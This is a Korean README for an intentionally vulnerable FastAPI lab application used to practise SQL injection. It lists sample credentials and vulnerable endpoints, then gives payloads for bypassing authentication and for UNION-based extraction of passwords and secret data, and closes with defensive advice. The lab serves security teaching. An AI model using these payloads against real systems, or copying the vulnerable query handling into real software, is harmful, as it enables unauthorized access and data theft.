이 프로젝트는 SQL Injection 취약점을 실험해볼 수 있는 간단한 FastAPI 웹 애플리케이션입니다.
docker-compose up --build- 사용자명:
admin, 비밀번호:password - 사용자명:
user1, 비밀번호:secret
- 사용자명:
admin'# - 비밀번호: 아무거나
- 사용자명:
' OR 1=1# - 비밀번호: 아무거나
- 사용자명:
' UNION SELECT username, password, email, 1, 2 FROM users#
- 사용자명:
' UNION SELECT version(), database(), user(), 1, 2#
검색창에서:
' UNION SELECT secret_info, 'leaked' FROM sensitive_data --
GET /- 메인 페이지 (로그인 폼)POST /login- 취약한 로그인 (SQL Injection 가능)POST /search- 취약한 사용자 검색GET /users- 모든 사용자 조회 (안전한 엔드포인트)
- id (INT, PRIMARY KEY)
- username (VARCHAR)
- password (VARCHAR)
- email (VARCHAR)
- created_at (TIMESTAMP)
- id (INT, PRIMARY KEY)
- user_id (INT, FOREIGN KEY)
- secret_info (VARCHAR)
- SQL Injection 취약점이 어떻게 발생하는지 이해
- 다양한 SQL Injection 공격 기법 실습
- 안전한 코딩 방법의 중요성 인식
실제 애플리케이션에서는:
- Prepared Statements 사용
- 입력값 검증 및 이스케이프
- 최소 권한 원칙 적용
- WAF (Web Application Firewall) 사용